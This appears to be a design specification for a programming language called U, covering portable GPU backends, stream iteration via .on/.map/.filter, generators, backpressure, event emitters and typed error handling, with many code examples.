Backends: portable, not CUDA-locked

A +V chain is a device-agnostic kernel description. CUDA/PTX (via nvcc) is one backend; the target is chosen at compile time from SPIR-V (Vulkan compute), Metal (Apple), WebGPU/WGSL (portable, browser-capable), or CPU SIMD as the universal fallback. The programming model is the tensor-op model of PyTorch/XLA — elementwise and reduction ops over grids, fused and dispatched to whatever device exists — which U's combinators over [[T]] already are. Under a discrete-memory backend +R(GPU) entails a real host↔device copy across the bus; under a unified-memory backend (CUDA UVM, Apple Silicon) the same annotation lowers to a migration or placement hint, and the compiler elides redundant migrations. Same source, same types, different backend obligation.

Q on the GPU: exact arithmetic that vectorizes, normalized at the boundary

Design sketch (not yet implemented). A Q rational is a pair of integers. Q+V can vectorize as paired-integer lanes — each lane carries (num, den), and +/* are the rational formulas over the integer lanes, hitting GPU integer throughput. The intended semantics: intermediate Q values are carried unreduced through a fused kernel and are normalized (gcd) or converted to float only at the boundary where the result flows into a non-Q binding — the same deferral XLA applies to intermediates that never leave registers. So a whole vectorized pipeline can stay exact end-to-end and collapse to a concrete representation only on assignment out. The honest limit: fixed-width Q (e.g. Q64 = two I32) lives on-device; arbitrary-precision rationals can blow up in bit-width and fall back to the CPU, with overflow either trapped or promoted. Exactness that vectorizes, with a clearly-drawn edge where it stops.

The op taxonomy: what parallelizes by construction, and why @ is an operator

Not every array op is a free elementwise map, and being honest about which is which is what keeps the story credible. There are three tiers. Elementwise ops (.map/.filter/.on, + - * on arrays) are element-independent, so they parallelize by construction and fuse into one kernel. Reductions (.reduce, sum) carry a cross-element dependency but lower to a parallel tree when the operator is associative, a scalar fold otherwise. Contractions (@ matmul, convolution) are cross-element and tiling-sensitive, so their peak throughput lives in vendor libraries — U dispatches @ to the platform BLAS (cuBLAS / Metal Performance Shaders / oneMKL), exactly as PyTorch does, rather than pretend matmul is a free map. Only the first two tiers are compiler-generated kernels; the third stands on decades of vendor tuning.

Why @ is an operator, not a library call. A function matmul(a,b) is opaque to the compiler; an operator @ is syntax the compiler owns, which licenses it to inspect the operands' static shapes at the use site — the same "the notation is a license" move as the rest of the algebra. That inspection buys two things a function forfeits: dual lowering by size — a statically-small fixed @ (a 3×3 or 4×4 per-element transform) unrolls to inline arithmetic inside a +V lane, while a large or dynamic @ dispatches to BLAS at the pipeline level — and compile-time shape checking, so a nonconformable multiply is a type error at the call site, not a runtime crash. @ generalizes to any rank as batched matmul: the trailing two dimensions are the matrix, the leading dimensions are batch (element-independent, parallelized freely), matching numpy/torch.matmul on >2D. General arbitrary-axis contraction (einsum) is deliberately out of scope for @ — it needs an index spec the operator cannot carry.

Mixing CPU and GPU stages by +V-ness. The compiler reads the +V-ness of what each .on() is called on to pick max_in_flight's default: a +V source is data-parallel, so the default is the grid/lane width (~1024); a non-+V source is CPU concurrency, so the default is ~cores (or 1 for +A I/O backpressure). Two independent a-pipelines therefore dispatch to different devices concurrently for free:

bar = a foo.on(...).filter(...)   // foo is +V  → GPU warps, max_in_flight ~ 1024
baz = a moo.on(...)              // moo not +V → CPU threads, max_in_flight ~ cores

Within one chain that crosses +V↔non-+V, width is per-stage and the seam is a bounded one-tile re-batch point co-located with the c transfer that crossing already requires — so execution stays buffer-free except at genuine device seams, each of which is visible in the annotations. The +V-ness of the source is the one fact that selects the whole schedule.

.on() uses the three-signal convention — its handler returns L+N, and the compiler inserts an implicit none when the handler's last expression isn't an L+N (so an effect-only body — the common case — is "continue" for free, with no ceremony). .filter() expects a plain L — true=keep, false=drop — because in a predicate, true-means-keep is the entrenched intuition; filter is expressively loop-minus-break but is kept as an ergonomic preset so predicates read naturally. .map()'s return is the emitted value (data, not a signal); it always continues and cannot skip or break, which is exactly why map can't be the primitive — its return channel is spent on data, leaving no room for control.

// .filter() — three signals
active = users.filter((user) => user.active ? none ! false)     // include if active
first10 = items.filter((item) => (
    taken = taken + 1
    taken <= 10 ? none   // include
    !            true     // stop
))

// .map() — return value is the new element
names = users.map((user) => user.first_name + " " + user.last_name)
doubled = nums.map((num) => num * 2)

// .reduce() — fold
total = orders.reduce((acc, order) => acc + order.amount, 0.0)

// .find() — returns T +N, caller knows what they called
user: User+N = users.find((user) => user.id == target ? none ! false)
user != none & process(user)  // or:  user ?? default_user

// .all() — Promise.all: await all +A values, results in input order
pending: [S+A] = urls.map((url) => a fetch(url))    // N concurrent coroutines
pages:   [S]    = pending.all()                          // await all, ordered

// .any() — Promise.race: returns T +N +A, caller knows
winner: S+N+A = pending.any()  // first to resolve, or none
winner != none & render(winner)

// .sort() — three overloads by lambda arity
nums    = [3, 1, 4, 1, 5]
sorted  = nums.sort()                     // natural order: [1, 1, 3, 4, 5]
rev     = nums.sort(reverse: true)        // reversed:      [5, 4, 3, 1, 1]

users   = [User(name:"Bob",age:30), User(name:"Ali",age:25)]
by_age  = users.sort(u => u.age)          // key fn (1-param lambda) → ascending by age
by_name = users.sort(val => val.name)         // key fn → lexicographic
by_custom = users.sort((a, b) => a.score > b.score)  // comparator (2-param lambda → L)

// Overload selected purely from lambda arity — no return type needed:
//   ()          → .sort()   natural
//   (reverse:L) → .sort()   reversed
//   (T)         → .sort()   key function
//   (T,T)       → .sort()   comparator

// .on() is the primitive — events, errors, side-effect iteration
users.on((user) => log(user.name))    // for-each with side effect (body is none → continue)
e.on(MyLib.network_policies)           // error handler registration
clicks.on((evt) => handle_click(evt))  // event subscription

One machine, four readings of the handler's return

map, filter, loop, and reduce are not four operators — they are one iteration engine parameterized by how the handler's return value is read. That is why they share the (fn, max_in_flight?) signature and all chain the same way; only the return-interpretation differs.

loop is the general member because it is the only one whose return is pure control — the others spend their return channel on data, selection, or accumulation. filter's true means keep where loop's true means break; the polarity legitimately differs because the two types differ (L vs L+N) and the reader knows which by which method was called.

Fan-out: an array of functions widens the value, not the stream

The first argument can be a single function or an array of functions. An array runs each function against the current element and packs the results into one array that flows downstream as a single element — the carry stays 1-to-1, so fan-out widens the value, never the stream:

// slot k → one element ([fv, gv, hv], k)
rows.on([parse, validate, enrich], 4)
// a function whose arity/type doesn't fit a slot contributes `none` there

The handler receives (value, carry) by declared arity — declare one parameter to drop the carry (so [1..].on(print) passes just the value). A function whose arity or types don't match its slot yields none in that position rather than erroring, so a fan-out array can contain none holes.

Streams, laziness, and auto-run

.on()/.map()/.filter() return a stream — a lazy, pull-based, possibly-infinite sequence, essentially a +F generator with a pull operation (arrays, sets, maps, and generators all implement one pull protocol; a keyed source yields (key, value) pairs). Construction does no work: each call builds a node and returns. A chain like gen.map(f).on(h) is ordinary left-associative method chaining; what runs right-to-left is demand — the terminal stage pulls upstream. The justification is laziness, not any special associativity.

max_in_flight, demand-pull, and backpressure

The optional second argument bounds concurrency. In a right-to-left pull chain gen.on(A, 3).on(B, 5), max_in_flight is how many calls in a stage may be unfinished before it stops pulling upstream. A call is "unfinished" for any reason — still computing, awaiting I/O, or blocked acquiring a resource — all identical to the loop. Nothing buffers values: a stage produces a value only to fill a pull already waiting for it, so what queues under load is demand (parked pulls), never data. One number is at once the concurrency, the memory ceiling, and the backpressure trigger.

Ranges — .. and ...

Range syntax produces numeric sequences — no special Range type. Ranges are numeric only (no string/lexicographic ranges). Arithmetic is element-wise. The compiler recognizes range-derived arrays in .on() and emits a tight counter loop — no array allocated.

Compile-time initialization. When a range maps over a pure function with all-constant inputs, the compiler evaluates it at compile time — inferred from the literals, no annotation needed: squares = [0..255].map(n => n * n) becomes a static lookup table.

// Inclusive — both ends included
arr = [1..5]           // [1, 2, 3, 4, 5]
arr = [5..1]           // [5, 4, 3, 2, 1] — descending

// Exclusive end
arr = [1...6]          // [1, 2, 3, 4, 5]  (not 6)
arr = [1..6]           // [1, 2, 3, 4, 5, 6] (includes 6)

// Arithmetic is element-wise
[1..5]*2               // [2, 4, 6, 8, 10]
[5..1]*2               // [10, 8, 6, 4, 2]

// .on() on range — compiler emits tight loop, no allocation
[1..n].on((val) => draw(val))
[1..rows].on((row) =>                    // rows 1 through rows
    [1..cols].on((col) =>                 // cols 1 through cols
        matrix[row][col] * scale         // 1-based index — natural
    )
)

// Array slicing uses .slice(), not range subscript syntax:
arr.slice(2, 4)           // elements at indices 2, 3, 4 (inclusive)
arr.slice(1, arr.length)   // all elements
arr.slice(-3)             // last 3 elements

Generators — e value and Streams

Inside a generator function, e value emits one value to the caller and continues running. The caller receives values lazily via .on(), .take(), or .map(). Use [1..w] for an infinite integer range.

A handler passed to .on() returns none to continue or true to stop — functions and lambdas return none implicitly when they fall off the end, so you only need to write none explicitly when returning it mid-lambda. Bare ( ) expression blocks return their last expression value as usual. There are no loop keywords — iteration is always method-based.

// Generator function — e value emits, then continues
f naturals() -> I+W
    num = 1
    [1..w].on(() => (
        w num         // emit, then continue
        num = num + 1
        none          // continue
    ))

// Fibonacci
f fibonacci() -> I+W
    prev = 1
    curr = 1
    [1..w].on(() => (
        w curr
        next = prev + curr
        prev = curr
        curr = next
        none
    ))

// Consume with .on() — return true to stop, none to continue
fibonacci().on(n => n > 1000 ? true ! none)

// Take first N
fibonacci().take(10).on(n => print(n))

// Skip blank lines — return none to continue, process otherwise
f process_lines(lines: [S]+W)
    lines.on(line => (
        line.is_empty() ? none               // skip
        ! line.starts_with("#") ? none        // skip comments
        ! process_line(line) | none          // process, continue
    ))

Streams — e (events and generators)

e value emits one value from a generator to its caller and continues. [1..] creates an infinite range. Streams propagate through .map() and .filter(), and are terminated by .take() or .first().

// e value = emit to caller, continue running
f fib() -> I+W
    prev = 1
    curr = 1
    [1..w].on(() => (
        e curr                   // emit to stream, then continue
        next = prev + curr
        prev = curr
        curr = next
        none                     // continue
    ))

// Infinite range arithmetic:
evens: I+W = [0..w]*2          // 0, 2, 4, 6, ...
neg_e: I+W = [0..−w]*2         // 0, -2, -4, ...

// +W propagates; .take() terminates it:
fib().take(10).on(num => print(num))
big = fib().filter(num => num > 100 ? none ! false).take(5)

// .reduce() .sort() .last() .all() on +W = compile error (needs finite)

Three primitives — the entire language

Programming languages accumulate constructs. for for iteration, switch for dispatch, try/catch for errors, with for resources, async/await for concurrency, #pragma omp for parallelism, CUDA for GPUs, generators for laziness, enums for variants, event listeners for reactivity. Each is a new block shape with its own scoping rules, its own nesting behavior, its own interaction with every other construct. A modern codebase routinely nests five of these inside each other.

U has three primitives. They replace all of it.

.on() — dispatch

.on() takes a source of typed values and dispatches each to a handler whose type signature matches. What varies is the source and the interpretation of the handler's return value. That single pattern absorbs every block-scoped dispatch construct other languages provide:

One method works for all of these because dispatch, iteration, and event handling are the same operation from different angles: a source produces typed values, handlers consume them by type signature, and the return value means continue, stop, or skip. The source varies — a range, a class hierarchy, an error channel, an event stream — but the mechanism never does.

Modifiers — semantics

Where .on() handles what runs, modifiers handle how it runs. The same .on() call, the same handler, the same three-signal return — but the modifier on the data determines the execution strategy:

The programmer writes the logic once. The modifier annotation tells the compiler which backend to use — and because the annotation is also a safety invariant (immutability, non-null, no aliasing), the compiler has the parallelization license for free. No analysis required; the type is the proof.

Ten keywords — everything else

What remains after .on() and modifiers is handled by ten single-letter keywords and three literals. No block syntax, no braces, no nesting:

Event emitters — w context value

A generator function yields via e value to its stream. e: on a type declares event types, making it an event emitter (push, pushes via e(t).emit(value)). e value yields from generators; e(obj).emit(value) pushes to event streams.

// Event emitter: +W on a type, .emit() pushes values
d Sensor
e: TempReading, OverheatAlert
    name: S = ""

    f start() -> none
        [1..w].on(() => (
            reading: N = read_hardware()
            e(t).emit(reading)             // emit to this instance's subscribers
            delay(100)
        ))

// Subscribe, chain, filter — same API as generators
temp = Sensor({name: "thermostat"})
temp.filter(val => val > 30.0)
    .on(val => alert("overheating: " + val), 4)
// e(obj) returns the generator — class methods stay clean:
gen = e(temp)
gen.on(reading => log(reading))
gen.off(gen.handlers[1])
temp.start()

Overflow strategies — external event sources

For generators and internal emitters, backpressure is automatic: w obj value blocks until a handler slot opens. For external event sources (OS callbacks, network sockets, hardware interrupts), blocking is impossible — the OS will not wait. An overflow strategy tells the runtime what to do when handlers are saturated:

// .drop() — discard new events when saturated (sensor data, mouse moves)
sensor.on(handler, 16).drop()
// "I only care about events I can handle in real time"

// .latest() — keep only the most recent, discard intermediates (UI state)
price_feed.on(handler, 4).latest()
// "I only care about the current value, not the history"

// .buffer(n) — queue up to n, then drop oldest (logs, packets)
socket.on(handler, 16).buffer(1000)
// "I can catch up, but not infinitely"

// .emit() blocks by default — backpressure propagates upstream.
// If blocked closures exceed threshold → ! HeapOverflow (catchable).
// Overflow strategies prevent the error by never blocking:

Rx algebra — composing streams

All stream sources (generators, event emitters, ranges) support a composable algebra of stream operations. Each returns a new generator — lazy, backpressure-aware, and chainable.

Error Handling — e

e is dual. At the definition site: e ErrType(...) throws. At the call site: x.on() (or e.on()) registers typed handlers — the same .on() subscription used everywhere. Error handlers are typed event listeners.

What .on() accepts

// ── Definition site ───────────────────────────────────────────────────
d NetworkError { msg: S, code: I, retryable: L }
d TimeoutError : NetworkError { elapsed: I }

a f fetch(url: S) -> S ! NetworkError ! TimeoutError
    connected | e NetworkError( msg: "offline", retryable: true )
    elapsed > limit & e TimeoutError( elapsed: elapsed )
    r => body

// ── Single and multi-arg ──────────────────────────────────────────────

a f run(url: S)
    e.on(log_timeout, retry_on_timeout)    // push both onto TimeoutError chain
    e.on((err: NetworkError) => err.retryable ? retry(url) ! log_and_fail(err.msg))
    result = a fetch(url)
    process(result)

// ── Library policy arrays — ordered, exported, composable ────────────

// In MyLib — exported as arrays, NOT objects (object method order is undefined)
network_policies: [(NetworkError)->()] = [
    log_to_sentry,
    notify_oncall,
    retry_on_recoverable   // order defined and preserved
]

// Call site — array spreads onto chain in order
a f run(url: S)
    e.on(MyLib.network_policies)        // spread array: all three appended in order
    e.on(MyLib.network_policies, extra_handler) // append more after the array
    result = a fetch(url)
    process(result)

// ── Pit of success — library symbols ─────────────────────────────────

e.on(
    MyLib.handle_network_error,
    Foo.fail_closed_on_syntax_error
)
result = a fetch(url)   // happy path
process(result)

// ── Early exit is per-type, independent chains ────────────────────────

e.on((err: NetworkError) => { reconnect() | (r => false) }) // false = stop NetworkError chain
e.on((err: NetworkError) => log_and_fail(err.msg))  // skipped if above returns false
e.on((err: TimeoutError) => retry(url))           // TimeoutError chain unaffected

// ── The rule: declare what you originate, propagation is inferred ─────

// You ORIGINATE this throw → must declare ! NetworkError in your signature
a f fetch(url: S) -> S ! NetworkError ! TimeoutError
    connected | e NetworkError( msg: "offline" )   // ← originated here
    elapsed > limit & e TimeoutError( elapsed )      // ← originated here
    r => body

// You PROPAGATE from a callee → inferred automatically, no declaration needed
a f run(url: S) -> S                   // no ! needed
    e.on((err: NetworkError) => retry(url))  // handled
    r => a fetch(url)    // TimeoutError propagates — compiler infers it
                         // no ! TimeoutError required in run()'s signature

// Optional: explicitly seal your surface — compiler verifies accuracy
a f run(url: S) -> S ! TimeoutError   // declares AND verifies: only this escapes

// Block-scoped catching: () is your try block
result = (
    e.on((err: NetworkError) => r => fallback)  // only inside this block
    a fetch(url)
)